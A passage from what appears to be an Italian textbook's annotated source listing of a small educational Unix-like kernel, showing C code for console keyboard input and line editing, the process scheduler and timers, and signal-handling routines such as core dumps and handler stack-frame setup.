2120028        //
2120029        return;
2120030      }
2120031    else
2120032      {
2120033        //
2120034        // A key was pressed and it will be processed.
2120035        // Currently, just remove from the keyboard buffer.
2120036        kbd.key  = 0;
2120037      }
2120038    //
2120039    // A key is available. Find the currently active console.
2120040    //
2120041    device = tty_console ((dev_t) 0);
```

```
2120042     tty     = tty_reference (device);
2120043     if (tty == NULL)
2120044       {
2120045         k_printf ("kernel alert: console device 0x%04x not found!\n",
2120046                   device);
2120047         //
2120048         // Will send the typed character to the first terminal!
2120049         //
2120050         tty = tty_reference ((dev_t) 0);
2120051       }
2120052     //
2120053     // Verify if it is a control key that must be handled before
2120054     // entering the canonical input line.
2120055     //
2120056     // Check for a console switch key combination.
2120057     //
2120058     if      (key == 0x11)               // [Ctrl Q] -> DC1 -> console0.
2120059       {
2120060         tty_console (DEV_CONSOLE0);     // Switch.
2120061         return;
2120062       }
2120063     else if (key == 0x12)               // [Ctrl R] -> DC2 -> console1.
2120064       {
2120065         tty_console (DEV_CONSOLE1);     // Switch.
2120066         return;
2120067       }
2120068     else if (key == 0x13)               // [Ctrl S] -> DC3 -> console2.
2120069       {
2120070         tty_console (DEV_CONSOLE2);     // Switch.
2120071         return;
2120072       }
2120073     else if (key == 0x14)               // [Ctrl T] -> DC4 -> console3.
2120074       {
2120075         tty_console (DEV_CONSOLE3);     // Switch.
2120076         return;
2120077       }
2120078     //-------------------------------------------------------------------
2120079     // Only canonical input line is available: ICANON!
2120080     //-------------------------------------------------------------------
2120081     //
2120082     // Might be necessary to send a signal to all processes with the
2120083     // same control terminal, excluded the kernel (0) and 'init' (1).
2120084     // Such control keys are not passed to the applications, or are
2120085     // replaced with zero.
2120086     //
2120087     // Please note that this a simplified solution, because the signal
2120088     // should reach only the foreground process of the group. For that
2120089     // reason, only che [Ctrl C] is taken into consideration, because
2120090     // processes can ignore the signal 'SIGINT'.
2120091     //
2120092     if (tty->pgrp != 0)
2120093       {
```

```
2120094         //
2120095         // There is a process group for that terminal.
2120096         //
2120097         if (tty->attr.c_cc[VINTR] && key == tty->attr.c_cc[VINTR])
2120098           {
2120099             if (tty->attr.c_iflag & IGNBRK)
2120100               {
2120101                 //
2120102                 // No break!
2120103                 //
2120104                 return;
2120105               }
2120106             //
2120107             if (tty->attr.c_iflag & BRKINT)
2120108               {
2120109                 if (tty->attr.c_lflag & ISIG)
2120110                   {
2120111                     for (pid = 2; pid <  PROCESS_MAX; pid++)
2120112                       {
2120113                         if (proc_table[pid].pgrp == tty->pgrp)
2120114                           {
2120115                             //
2120116                             // Should find only final process/processes.
2120117                             // So, if there is a son process with the
2120118                             // same process group, the signal is not
2120119                             // sent!
2120120                             //
2120121                             for (pid_sub = 2;
2120122                                  pid_sub < PROCESS_MAX;
2120123                                  pid_sub++)
2120124                               {
2120125                                   if ((proc_table[pid_sub].ppid == pid)
2120126                                       && (proc_table[pid_sub].pgrp
2120127                                           == tty->pgrp))
2120128                                     {
2120129                                       //
2120130                                       // `pid_sub' is a son of
2120131                                       // `pid' and is part of the
2120132                                       // same process group. `pid_sub'
2120133                                       // is candidate for kill.
2120134                                       //
2120135                                       break;
2120136                                     }
2120137                               }
2120138                             //
2120139                             if (pid_sub >= PROCESS_MAX)
2120140                               {
2120141                                 //
2120142                                 // There is no son for `pid', sorry.
2120143                                 //
2120144                                 s_kill ((pid_t) 0, pid, SIGINT);
2120145                                 //
```

```
2120146                                 // No more scan.
2120147                                 //
2120148                                 break;
2120149                               }
2120150                           }
2120151                       }
2120152                   }
2120153                 //
2120154                 // Just reset input line and return.
2120155                 //
2120156                 tty->status  = TTY_INPUT_LINE_EDITING;
2120157                 tty->lpr     = 0;
2120158                 tty->lpw     = 0;
2120159                 tty->line[0] = 0;
2120160                 //
2120161                 return;
2120162               }
2120163             //
2120164             // Replace the INTR character with zero.
2120165             //
2120166             key = 0;
2120167           }
2120168       }
2120169     //
2120170     // Check if something is to be ignored.
2120171     //
2120172     if (key == '\r' && (tty->attr.c_iflag & IGNCR))
2120173       {
2120174         return;
2120175       }
2120176     //
2120177     // Check if something is to be replaced, before editing.
2120178     //
2120179     if (key == '\n' && (tty->attr.c_iflag & INLCR))
2120180       {
2120181         key = '\r';
2120182       }
2120183     //
2120184     if (key == '\r' && (tty->attr.c_iflag & ICRNL))
2120185       {
2120186         key = '\n';
2120187       }
2120188     //
2120189     // Edit the canonical input line.
2120190     // Input is accepted only if status is ok.
2120191     //
2120192     if (tty->status == TTY_INPUT_LINE_EDITING)
2120193       {
2120194         //
2120195         // Fix internal line positions.
2120196         //
2120197         if (tty->lpw < 0)
```

```
2120198             {
2120199               tty->lpw = 0;
2120200             }
2120201           if (tty->lpw >= MAX_CANON)
2120202             {
2120203               tty->lpw = MAX_CANON-1;
2120204               overflow = 1;                   // Too much input!
2120205             }
2120206           if (tty->lpr < 0)
2120207             {
2120208               tty->lpr = 0;
2120209             }
2120210           if (tty->lpr > tty->lpw)
2120211             {
2120212               tty->lpr = tty->lpw;
2120213             }
2120214           //
2120215           // Check input key.
2120216           //
2120217           if (key == '\0')
2120218             {
2120219               //
2120220               // A INTR replaced into zero.
2120221               //
2120222               tty->line[tty->lpw] = key;
2120223               tty->status = TTY_INPUT_LINE_CLOSED;
2120224               proc_wakeup_terminal ();
2120225             }
2120226           else if (key == '\n')
2120227             {
2120228               tty->line[tty->lpw] = key;
2120229               tty->status = TTY_INPUT_LINE_CLOSED;
2120230               proc_wakeup_terminal ();
2120231             }
2120232           else if (tty->attr.c_cc[VEOF] && key == tty->attr.c_cc[VEOF])
2120233             {
2120234               //
2120235               // EOF is not included inside the line.
2120236               //
2120237               tty->line[tty->lpw] = 0;
2120238               tty->status = TTY_INPUT_LINE_CLOSED;
2120239               proc_wakeup_terminal ();
2120240             }
2120241           else if (tty->attr.c_cc[VEOL] && key == tty->attr.c_cc[VEOL])
2120242             {
2120243               tty->line[tty->lpw] = key;
2120244               tty->status = TTY_INPUT_LINE_CLOSED;
2120245               proc_wakeup_terminal ();
2120246             }
2120247           else if (    tty->attr.c_cc[VERASE]
2120248                    && key == tty->attr.c_cc[VERASE])
2120249             {
```

```
2120250               //
2120251               // Save how many characters to be killed, if echo is
2120252               // enabled.
2120253               //
2120254               if (overflow)
2120255                 {
2120256                   k = tty->lpw + 1;
2120257                   //
2120258                   // The 'tty->lpw' was already reduced.
2120259                   //
2120260                 }
2120261               else
2120262                 {
2120263                   k = tty->lpw;
2120264                   //
2120265                   // Reduce write index: if it is less than zero, it will
2120266                   // be fixed.
2120267                   //
2120268                   tty->lpw--;
2120269                 }
2120270             }
2120271           else if (tty->attr.c_cc[VKILL] && key == tty->attr.c_cc[VKILL])
2120272             {
2120273               //
2120274               // Save how many characters to be killed, if echo is
2120275               // enabled.
2120276               //
2120277               if (overflow)
2120278                 {
2120279                   k = tty->lpw + 1;
2120280                 }
2120281               else
2120282                 {
2120283                   k = tty->lpw;
2120284                 }
2120285               //
2120286               // Reset input line.
2120287               //
2120288               tty->lpw     = 0;
2120289               tty->lpr     = 0;
2120290               tty->line[0] = 0;
2120291             }
2120292           else
2120293             {
2120294               tty->line[tty->lpw] = key;
2120295               tty->lpw++;
2120296             }
2120297           //
2120298           // Echo.
2120299           //
2120300           if (!(tty->attr.c_lflag & ECHO))
2120301             {
```

```
2120302             //
2120303             // No echo. But NL might be echoed anyway.
2120304             //
2120305             if (key == '\n' && (tty->attr.c_lflag & ECHONL))
2120306               {
2120307                 dev_io ((pid_t) 0, tty->device, DEV_WRITE,
2120308                         (off_t) 0, &key, (size_t) 1, NULL);
2120309               }
2120310             //
2120311             return;
2120312           }
2120313         //
2120314         // The echo is requested.
2120315         //
2120316         if (key == 0)
2120317           {
2120318             //
2120319             // There is nothing to echo.
2120320             //
2120321             ;
2120322           }
2120323         else if (   tty->attr.c_cc[VERASE]
2120324                  && key == tty->attr.c_cc[VERASE])
2120325           {
2120326             if (tty->attr.c_lflag & ECHOE)
2120327               {
2120328                 if (k > 0)
2120329                   {
2120330                     dev_io ((pid_t) 0, tty->device, DEV_WRITE,
2120331                             (off_t) 0, "\b \b", (size_t) 3, NULL);
2120332                   }
2120333               }
2120334             else
2120335               {
2120336                 dev_io ((pid_t) 0, tty->device, DEV_WRITE,
2120337                         (off_t) 0, &key, (size_t) 1, NULL);
2120338               }
2120339          }
2120340         else if (   tty->attr.c_cc[VKILL]
2120341                  && key == tty->attr.c_cc[VKILL])
2120342           {
2120343             if (tty->attr.c_lflag & ECHOK)
2120344               {
2120345                 for (; k > 0; k--)
2120346                   {
2120347                     dev_io ((pid_t) 0, tty->device, DEV_WRITE,
2120348                             (off_t) 0, "\b \b", (size_t) 3, NULL);
2120349                   }
2120350               }
2120351           }
2120352         else if (key == '\n')
2120353           {
```

```
2120354             if (tty->attr.c_lflag & ECHONL)
2120355               {
2120356                 dev_io ((pid_t) 0, tty->device, DEV_WRITE,
2120357                         (off_t) 0, &key, (size_t) 1, NULL);
2120358               }
2120359           }
2120360         else
2120361           {
2120362             //
2120363             // If there was an overflow, the last character is
2120364             // overwriting the last position, so a back space
2120365             // is printed.
2120366             //
2120367             if (overflow)
2120368               {
2120369                 dev_io ((pid_t) 0, tty->device, DEV_WRITE,
2120370                         (off_t) 0, "\b", (size_t) 1, NULL);
2120371               }
2120372             //
2120373             // Now show the input character.
2120374             //
2120375             dev_io ((pid_t) 0, tty->device, DEV_WRITE, (off_t) 0,
2120376                     &key, (size_t) 1, NULL);
2120377           }
2120378       }
2120379 }
```

119.13.10 kernel/proc/proc_sch_timers.c

Si veda la sezione 118.14.9.

```
2130001 #include <kernel/proc.h>
2130002 #include <kernel/lib_k.h>
2130003 #include <kernel/lib_s.h>
2130004 //----------------------------------------------------------------------
2130005 void
2130006 proc_sch_timers (void)
2130007 {
2130008     static unsigned long long int previous_time;
2130009            unsigned long long int current_time;
2130010            unsigned int      pid;
2130011     current_time = s_time ((pid_t) 0, NULL);
2130012     if (previous_time != current_time)
2130013       {
2130014         for (pid = 0; pid < PROCESS_MAX; pid++)
2130015           {
2130016             if (    (proc_table[pid].wakeup_events & WAKEUP_EVENT_TIMER)
2130017                 && (proc_table[pid].status == PROC_SLEEPING)
2130018                 && (proc_table[pid].wakeup_timer > 0))
2130019               {
2130020                 proc_table[pid].wakeup_timer--;
```

```
2130021                 if (proc_table[pid].wakeup_timer == 0)
2130022                   {
2130023                     proc_table[pid].status = PROC_READY;
2130024                   }
2130025               }
2130026           }
2130027       }
2130028     previous_time = current_time;
2130029 }
```

119.13.11 kernel/proc/proc_scheduler.c

Si veda la sezione 118.14.10.

```
2140001 #include <kernel/proc.h>
2140002 #include <kernel/lib_k.h>
2140003 #include <kernel/lib_s.h>
2140004 #include <stdint.h>
2140005 //----------------------------------------------------------------------
2140006 #define DEBUG 1
2140007 //----------------------------------------------------------------------
2140008 extern uint32_t _ksp;
2140009 extern uint32_t proc_stack_pointer;
2140010 extern uint16_t proc_stack_segment_selector;
2140011 extern pid_t    proc_current;
2140012 //----------------------------------------------------------------------
2140013 void
2140014 proc_scheduler (void)
2140015 {
2140016     pid_t    prev;
2140017     pid_t    next;
2140018     addr_t   stack_top;
2140019     addr_t   stack_bottom;
2140020     uint32_t saved_stack_pointer = proc_stack_pointer;
2140021     //
2140022     static unsigned long long int previous_clock;
2140023            unsigned long long int current_clock;
2140024     //
2140025     // Check the current stack size.
2140026     //
2140027     if (proc_table[proc_current].domain_data == 0)
2140028       {
2140029         stack_bottom = proc_table[proc_current].domain_text;
2140030       }
2140031     else
2140032       {
2140033         stack_bottom = proc_table[proc_current].domain_data;
2140034       }
2140035     //
2140036     stack_top = stack_bottom - proc_table[proc_current].domain_stack;
2140037     //
```

```
2140038         // Check if the process has broken data with the stack,
2140039         // or if it is near the end of its domain.
2140040         //
2140041         if (proc_stack_pointer <= stack_top)
2140042           {
2140043             //
2140044             // The stack overlaped the other data!
2140045             //
2140046             k_printf ("[%s] Kernel alert: the stack of process %i "
2140047                       "is grown beyond the allowed space! The process "
2140048                       "is closed. Stack top is %i, stack pointer is %i.\n",
2140049                       __FILE__, (int) proc_current, (int) stack_top,
2140050                       (int) proc_stack_pointer);
2140051             //
2140052             // The process is terminated badly.
2140053             //
2140054             s__exit (proc_current, -1);
2140055           }
2140056         else if (proc_stack_pointer < (stack_top + 1024))
2140057           {
2140058             //
2140059             // There is only 1 Kibyte and the stack is finished!
2140060             //
2140061             k_printf ("[%s] Kernel alert: the stack of process %i "
2140062                       "is near the end of the allowed space! "
2140063                       "It remains only %i byte and it will "
2140064                       "overwrite other data!\n",
2140065                       __FILE__, (int) proc_current,
2140066                       (int) (proc_stack_pointer - stack_top));
2140067           }
2140068         //
2140069         // Save previous PID. Variable 'proc_current' is extern.
2140070         //
2140071         prev = proc_current;
2140072         //
2140073         // Take care of sleeping processes: wake up if sleeping time
2140074         // elapsed.
2140075         //
2140076         proc_sch_timers ();
2140077         //
2140078         // Take care of pending signals.
2140079         //
2140080         proc_sch_signals ();
2140081         //
2140082         // Take care input from terminals.
2140083         //
2140084         proc_sch_terminals ();
2140085         //
2140086         // Update the CPU time usage.
2140087         //
2140088         current_clock   = s_clock ((pid_t) 0);
2140089         proc_table[prev].usage += current_clock - previous_clock;
```

```
2140090         previous_clock  = current_clock;
2140091         //
2140092         // Check stack pointer changes, made probably by
2140093         // 'proc_sig_handler()' called from 'proc_sch_signals()'.
2140094         //
2140095         if (DEBUG)
2140096           {
2140097             if (saved_stack_pointer != proc_stack_pointer)
2140098               {
2140099                 k_printf ("[%s] pid %i, ESP from %i to %i.\n",
2140100                           __FILE__, proc_current,
2140101                           saved_stack_pointer, proc_stack_pointer);
2140102               }
2140103           }
2140104         //
2140105         // Scan for a next process.
2140106         //
2140107         for (next = prev+1; next != prev; next++)
2140108           {
2140109             if (next >= PROCESS_MAX)
2140110               {
2140111                 next = -1; // At the next loop, 'next' will be zero.
2140112                 continue;
2140113               }
2140114             //
2140115             if      (proc_table[next].status == PROC_EMPTY)
2140116               {
2140117                 continue;
2140118               }
2140119             else if (proc_table[next].status == PROC_CREATED)
2140120               {
2140121                 continue;
2140122               }
2140123             else if (proc_table[next].status == PROC_READY)
2140124               {
2140125                 if (proc_table[prev].status == PROC_RUNNING)
2140126                   {
2140127                     proc_table[prev].status = PROC_READY;
2140128                   }
2140129                 //
2140130                 proc_table[prev].sp     = proc_stack_pointer;
2140131                 proc_table[next].status = PROC_RUNNING;
2140132                 proc_table[next].ret    = 0;
2140133                 //
2140134                 proc_current            = next;
2140135                 proc_stack_segment_selector
2140136                     = gdt_pid_to_segment_data (next) * 8;
2140137                 proc_stack_pointer      = proc_table[next].sp;
2140138                 break;
2140139               }
2140140             else if (proc_table[next].status == PROC_RUNNING)
2140141               {
```

```
2140142                 if (proc_table[prev].status == PROC_RUNNING)
2140143                   {
2140144                     k_printf ("Kernel alert: process %i "
2140145                               "and %i \"running\"!\n",
2140146                               prev, next);
2140147                     proc_table[prev].status = PROC_READY;
2140148                   }
2140149                 //
2140150                 proc_table[prev].sp     = proc_stack_pointer;
2140151                 proc_table[next].status = PROC_RUNNING;
2140152                 proc_table[next].ret    = 0;
2140153                 //
2140154                 proc_current            = next;
2140155                 proc_stack_segment_selector
2140156                     = gdt_pid_to_segment_data (next) * 8;
2140157                 proc_stack_pointer      = proc_table[next].sp;
2140158                 break;
2140159               }
2140160             else if (proc_table[next].status == PROC_SLEEPING)
2140161               {
2140162                 continue;
2140163               }
2140164             else if (proc_table[next].status == PROC_ZOMBIE)
2140165               {
2140166                 continue;
2140167               }
2140168           }
2140169         //
2140170         // Check again if the next process is set to running, otherwise set
2140171         // the kernel to such value!
2140172         //
2140173         if (proc_table[next].status != PROC_RUNNING)
2140174           {
2140175             proc_table[0].status  = PROC_RUNNING;
2140176             proc_current          = 0;
2140177             proc_stack_segment_selector
2140178                 = gdt_pid_to_segment_data (0) * 8;
2140179             proc_stack_pointer    = proc_table[0].sp;
2140180           }
2140181         //
2140182         // Save kernel stack pointer.
2140183         //
2140184         _ksp = proc_table[0].sp;
2140185     }
```

119.13.12 kernel/proc/proc_sig_chld.c

Si veda la sezione 118.14.11.

```
2150001 #include <kernel/proc.h>
2150002 //----------------------------------------------------------------------
2150003 // At the moment, the SIGCHLD is handled only per default: no other
2150004 // handler is taken into consideration.
2150005 //----------------------------------------------------------------------
2150006 void
2150007 proc_sig_chld (pid_t parent, int sig)
2150008 {
2150009     pid_t child;
2150010     //
2150011     // Please note that 'sig' should be SIGCHLD and nothing else.
2150012     // So, the following test, means to verify if the parent process
2150013     // has received a SIGCHLD already.
2150014     //
2150015     if (proc_sig_status (parent, sig))
2150016       {
2150017         if (    (!proc_sig_ignore (parent, sig))
2150018             && (proc_table[parent].status == PROC_SLEEPING)
2150019             && (proc_table[parent].wakeup_events & WAKEUP_EVENT_SIGNAL)
2150020             && (proc_table[parent].wakeup_signal == sig))
2150021           {
2150022             //
2150023             // The signal is not ignored from the parent process;
2150024             // the parent process is sleeping;
2150025             // the parent process is waiting for a signal;
2150026             // the parent process is waiting for current signal.
2150027             // So, just wake it up.
2150028             //
2150029             proc_table[parent].status        = PROC_READY;
2150030             proc_table[parent].wakeup_events = 0;
2150031             proc_table[parent].wakeup_signal = 0;
2150032           }
2150033         else
2150034           {
2150035             //
2150036             // All other cases, means to remove all dead children.
2150037             //
2150038             for (child = 1; child < PROCESS_MAX; child++)
2150039               {
2150040                 if (    proc_table[child].ppid == parent
2150041                     && proc_table[child].status == PROC_ZOMBIE)
2150042                   {
2150043                     proc_available (child);
2150044                   }
2150045               }
2150046           }
2150047         proc_sig_off (parent, sig);
2150048       }
2150049 }
```

119.13.13 kernel/proc/proc_sig_cont.c

Si veda la sezione 118.14.12.

```
2160001 #include <kernel/proc.h>
2160002 //----------------------------------------------------------------------
2160003 void
2160004 proc_sig_cont (pid_t pid, int sig)
2160005 {
2160006     //
2160007     // The value for argument 'sig' should be SIGCONT.
2160008     //
2160009     if (proc_sig_status (pid, sig))
2160010       {
2160011         if (proc_sig_ignore (pid, sig))
2160012           {
2160013             proc_sig_off (pid, sig);
2160014           }
2160015         else
2160016           {
2160017             if (proc_table[pid].sig_handler[sig] != (uintptr_t) NULL)
2160018               {
2160019                 proc_sig_handler (pid, sig);
2160020               }
2160021             else
2160022               {
2160023                 proc_table[pid].status = PROC_READY;
2160024                 proc_sig_off (pid, sig);
2160025               }
2160026           }
2160027       }
2160028 }
```

119.13.14 kernel/proc/proc_sig_core.c

Si veda la sezione 118.14.13.

```
2170001 #include <kernel/proc.h>
2170002 #include <kernel/lib_s.h>
2170003 //----------------------------------------------------------------------
2170004 void
2170005 proc_sig_core (pid_t pid, int sig)
2170006 {
2170007     addr_t address_text;
2170008     addr_t address_data;
2170009     size_t domain_text;
2170010     size_t domain_data;
2170011     size_t extra_data;
2170012     //
2170013     if (proc_sig_status (pid, sig))
2170014       {
```

```
2170015         if (proc_sig_ignore (pid, sig))
2170016           {
2170017             proc_sig_off (pid, sig);
2170018           }
2170019         else
2170020           {
2170021             if (proc_table[pid].sig_handler[sig] != (uintptr_t) NULL)
2170022               {
2170023                 proc_sig_handler (pid, sig);
2170024               }
2170025             else
2170026               {
2170027                 //
2170028                 // Save process addresses and sizes (might be useful if
2170029                 // we want to try to exit the process before core dump.
2170030                 //
2170031                 address_text = proc_table[pid].address_text;
2170032                 address_data = proc_table[pid].address_data;
2170033                 domain_text  = proc_table[pid].domain_text;
2170034                 domain_data  = proc_table[pid].domain_data;
2170035                 extra_data   = proc_table[pid].extra_data;
2170036                 //
2170037                 // Core dump: the process who formally writes the file
2170038                 // is the terminating one.
2170039                 //
2170040                 if (domain_data == 0)
2170041                   {
2170042                     proc_dump_memory (pid, address_text,
2170043                                       domain_text + extra_data, "core");
2170044                   }
2170045                 else
2170046                   {
2170047                     proc_dump_memory (pid, address_text,
2170048                                       domain_text, "core.text");
2170049                     proc_dump_memory (pid, address_data,
2170050                                       domain_data + extra_data,
2170051                                       "core.data");
2170052                   }
2170053                 //
2170054                 // The signal, translated to negative, is returned (but
2170055                 // the effective value received by the application will
2170056                 // be cutted, leaving only the low 8 bit).
2170057                 //
2170058                 s__exit (pid, -sig);
2170059               }
2170060           }
2170061       }
2170062 }
```

119.13.15 kernel/proc/proc_sig_handler.c

Si veda la sezione 118.14.14.

```
2180001 #include <kernel/proc.h>
2180002 #include <kernel/lib_s.h>
2180003 #include <kernel/lib_k.h>
2180004 #include <stdint.h>
2180005 //----------------------------------------------------------------------
2180006 #define DEBUG 0
2180007 //----------------------------------------------------------------------
2180008 void
2180009 proc_sig_handler (pid_t pid, int sig)
2180010 {
2180011     addr_t   addr_data_top;
2180012     addr_t   addr_stack_pointer;
2180013     uint32_t old_eip;
2180014     uint32_t old_cs;
2180015     uint32_t old_eflags;
2180016     //
2180017     // Stack frames.
2180018     //
2180019     struct {uint32_t eax;
2180020             uint32_t ecx;
2180021             uint32_t edx;
2180022             uint32_t ebx;
2180023             uint32_t ebp;
2180024             uint32_t esi;
2180025             uint32_t edi;
2180026             uint32_t ds;
2180027             uint32_t es;
2180028             uint32_t fs;
2180029             uint32_t gs;
2180030             uint32_t eip;
2180031             uint32_t cs;
2180032             uint32_t eflags;} *old;
2180033     //
2180034     struct {uint32_t eax;
2180035             uint32_t ecx;
2180036             uint32_t edx;
2180037             uint32_t ebx;
2180038             uint32_t ebp;
2180039             uint32_t esi;
2180040             uint32_t edi;
2180041             uint32_t ds;
2180042             uint32_t es;
2180043             uint32_t fs;
2180044             uint32_t gs;
2180045             uint32_t wrapper;
2180046             uint32_t cs;
2180047             uint32_t eflags;
2180048             uint32_t handler;
2180049             uint32_t signal;
```

```
2180050                uint32_t eip;}    *new;
2180051         //
2180052         // First of all, this function can act only for a process that
2180053         // is not *just* interrupted. That is, if 'proc_current' is
2180054         // equal to 'pid', nothing is to be done yet: it will be done
2180055         // only when it will be in pause.
2180056         //
2180057         if (pid == proc_current)
2180058           {
2180059             //
2180060             // Nothing to do yet.
2180061             //
2180062             return;
2180063           }
2180064         //
2180065         // Check if there is a function to run.
2180066         //
2180067         if (proc_table[pid].sig_handler[sig] == (uintptr_t) NULL)
2180068           {
2180069             //
2180070             // Nothing to do.
2180071             //
2180072             return;
2180073           }
2180074         //
2180075         // Tell something for debugging.
2180076         //
2180077         if (DEBUG)
2180078           {
2180079             k_printf ("%s(%i, %i)", __func__, (int) pid, sig);
2180080           }
2180081         //
2180082         // Calculate the absolute stack section address, from the
2180083         // kernel point of view.
2180084         //
2180085         if (proc_table[pid].domain_data == 0)
2180086           {
2180087             addr_data_top = proc_table[pid].address_text;
2180088           }
2180089         else
2180090           {
2180091             addr_data_top = proc_table[pid].address_data;
2180092           }
2180093         //
2180094         // Then calculate the effective stack pointer address.
2180095         // We are considering only process that are not
2180096         // currently interrupted, so the stack pointer is
2180097         // taken from 'proc_table[pid].sp'.
2180098         //
2180099         addr_stack_pointer = addr_data_top + proc_table[pid].sp;
2180100         //
2180101         // Currently the process stack is as it follows.
```

```
2180102     // The address inside ‘addr_stack_pointer’ is corresponding
2180103     // to the saved EAX value.
2180104     //
2180105     //  pushl %eflags     #
2180106     //  pushl %cs         # from the interrupt
2180107     //  pushl %eip        #
2180108     //  -------------
2180109     //  pushl %gs
2180110     //  pushl %fs
2180111     //  pushl %es
2180112     //  pushl %ds
2180113     //  pushl %edi
2180114     //  pushl %esi
2180115     //  pushl %ebp
2180116     //  pushl %ebx
2180117     //  pushl %edx
2180118     //  pushl %ecx
2180119     //  pushl %eax
2180120     //
2180121     // Need to insert the call to the handler function.
2180122     // The process stack should become this way:
2180123     //
2180124     //  pushl %eip            [0]
2180125     //  pushl <signal>        [1]
2180126     //  pushl <handler>       [1]
2180127     //  pushl %eflags         [2]
2180128     //  pushl %cs             [2]
2180129     //  pushl <wrapper>       [2]
2180130     //  -------------
2180131     //  pushl %gs
2180132     //  pushl %fs
2180133     //  pushl %es
2180134     //  pushl %ds
2180135     //  pushl %edi
2180136     //  pushl %esi
2180137     //  pushl %ebp
2180138     //  pushl %ebx
2180139     //  pushl %edx
2180140     //  pushl %ecx
2180141     //  pushl %eax
2180142     //
2180143     // [0] Back from the original interrupt.
2180144     //
2180145     // [1] Arguments of the wrapper functions, that will call the
2180146     //     signal handler, and then will return to the address at
2180147     //     [1].
2180148     //
2180149     // [2] Modified so that the IRET instruction will return
2180150     //     to the begin of the wrapper function, that will
2180151     //     call the true signal handler, and will return
2180152     //     at [1].
2180153     //
```

```
2180154     // Now set the pointer to the old and new frame,
2180155     // updating the stack pointer address.
2180156     //
2180157     old                 = (void *) addr_stack_pointer;
2180158     addr_stack_pointer -= 12;    // Three more elements.
2180159     new                 = (void *) addr_stack_pointer;
2180160     //
2180161     // Verify if the code segment was correctly found.
2180162     //
2180163     if (DEBUG)
2180164       {
2180165         k_printf ("[%s] EAX:%04x ECX:%04x EDX:%04x EBX:%04x EBP:%04x "
2180166                   "ESI:%04x EDI:%04x DS:%04x ES:%04x FS:%04x GS:%04x "
2180167                   "EIP:%04x CS:%04x EFLAGS:%04x\n", __FILE__,
2180168                   (int) old->eax, (int) old->ecx, (int) old->edx,
2180169                   (int) old->ebx, (int) old->ebp, (int) old->esi,
2180170                   (int) old->edi, (int) old->ds,  (int) old->es,
2180171                   (int) old->fs,  (int) old->gs,  (int) old->eip,
2180172                   (int) old->cs,  (int) old->eflags);
2180173       }
2180174     //
2180175     // Move data, to arrange the new stack. The order does
2180176     // matter, as the new frame overwrites the old one.
2180177     //
2180178     new->eax = old->eax;
2180179     new->ecx = old->ecx;
2180180     new->edx = old->edx;
2180181     new->ebx = old->ebx;
2180182     new->ebp = old->ebp;
2180183     new->esi = old->esi;
2180184     new->edi = old->edi;
2180185     new->ds  = old->ds;
2180186     new->es  = old->es;
2180187     new->fs  = old->fs;
2180188     new->gs  = old->gs;
2180189     //
2180190     old_eflags = old->eflags;
2180191     old_cs     = old->cs;
2180192     old_eip    = old->eip;
2180193     //
2180194     new->wrapper = proc_table[pid].sig_handler_wrapper;
2180195     new->cs      = old_cs;
2180196     new->eflags  = old_eflags;
2180197     new->handler = proc_table[pid].sig_handler[sig];
2180198     new->signal  = sig;
2180199     new->eip     = old_eip;
2180200     //
2180201     // Tell what is changed inside the stack.
2180202     //
2180203     if (DEBUG)
2180204       {
2180205         k_printf ("[%s] EAX:%04x ECX:%04x EDX:%04x EBX:%04x EBP:%04x "
```

```
2180206                         "ESI:%04x EDI:%04x DS:%04x ES:%04x FS:%04x GS:%04x "
2180207                         "wrapper:%04x CS:%04x EFLAGS:%04x handler:%04x "
2180208                         "signal:$04x EIP:%04x\n", __FILE__,
2180209                         (int) new->eax, (int) new->ecx, (int) new->edx,
2180210                         (int) new->ebx, (int) new->ebp, (int) new->esi,
2180211                         (int) new->edi, (int) new->ds,  (int) new->es,
2180212                         (int) new->fs,  (int) new->gs,  (int) new->wrapper,
2180213                         (int) new->cs,  (int) new->eflags,
2180214                         (int) new->handler, (int) new->signal,
2180215                         (int) new->eip);
2180216           }
2180217         //
2180218         // Change the stack pointer of the process, as it was increased.
2180219         //
2180220         proc_table[pid].sp = addr_stack_pointer - addr_data_top;
2180221         //
2180222         // Reset the signal handler, as in traditional Unix, with
2180223         // all the consequences that such implementation will give.
2180224         //
2180225         proc_table[pid].sig_handler[sig] = (uintptr_t) NULL;
2180226         proc_sig_off (pid, sig);
2180227         //
2180228         // Wake up the process if it is sleeping.
2180229         //
2180230         proc_table[pid].wakeup_events = 0;
2180231         proc_table[pid].status        = PROC_READY;
2180232     }
```

119.13.16 kernel/proc/proc_sig_ignore.c

«

Si veda la sezione 118.14.15.

```
2190001     #include <kernel/proc.h>
2190002     //----------------------------------------------------------------------
2190003     int
2190004     proc_sig_ignore (pid_t pid, int sig)
2190005     {
2190006         unsigned long int flag = 1L << (sig - 1);
2190007         if (proc_table[pid].sig_ignore & flag)
2190008           {
2190009             return (1);
2190010           }
2190011         else
2190012           {
2190013             return (0);
2190014           }
2190015     }
```

119.13.17 kernel/proc/proc_sig_off.c

Si veda la sezione 118.14.17.

```
2200001 #include <kernel/proc.h>
2200002 //----------------------------------------------------------------------
2200003 void
2200004 proc_sig_off (pid_t pid, int sig)
2200005 {
2200006     unsigned long int flag = 1L << (sig - 1);
2200007     proc_table[pid].sig_status ^= flag;
2200008 }
```

119.13.18 kernel/proc/proc_sig_on.c

Si veda la sezione 118.14.17.

```
2210001 #include <kernel/proc.h>
2210002 //----------------------------------------------------------------------
2210003 void
2210004 proc_sig_on (pid_t pid, int sig)
2210005 {
2210006     unsigned long int flag = 1L << (sig - 1);
2210007     proc_table[pid].sig_status |= flag;
2210008 }
```

119.13.19 kernel/proc/proc_sig_status.c

Si veda la sezione 118.14.18.

```
2220001 #include <kernel/proc.h>
2220002 //----------------------------------------------------------------------
2220003 int
2220004 proc_sig_status (pid_t pid, int sig)
2220005 {
2220006     unsigned long int flag = 1L << (sig - 1);
2220007     if (proc_table[pid].sig_status & flag)
2220008       {
2220009         return (1);
2220010       }
2220011     else
2220012       {
2220013         return (0);
2220014       }
2220015 }
```

119.13.20 kernel/proc/proc_sig_stop.c

Si veda la sezione 118.14.19.

```
2230001 #include <kernel/proc.h>
2230002 //----------------------------------------------------------------------
2230003 void
2230004 proc_sig_stop (pid_t pid, int sig)
2230005 {
2230006     if (proc_sig_status (pid, sig))
2230007       {
2230008         if (proc_sig_ignore (pid, sig) && !(sig == SIGSTOP))
2230009           {
2230010             proc_sig_off (pid, sig);
2230011           }
2230012         else
2230013           {
2230014             if ((proc_table[pid].sig_handler[sig] != (uintptr_t) NULL)
2230015                 && (sig != SIGSTOP))
2230016               {
2230017                 proc_sig_handler (pid, sig);
2230018               }
2230019             else
2230020               {
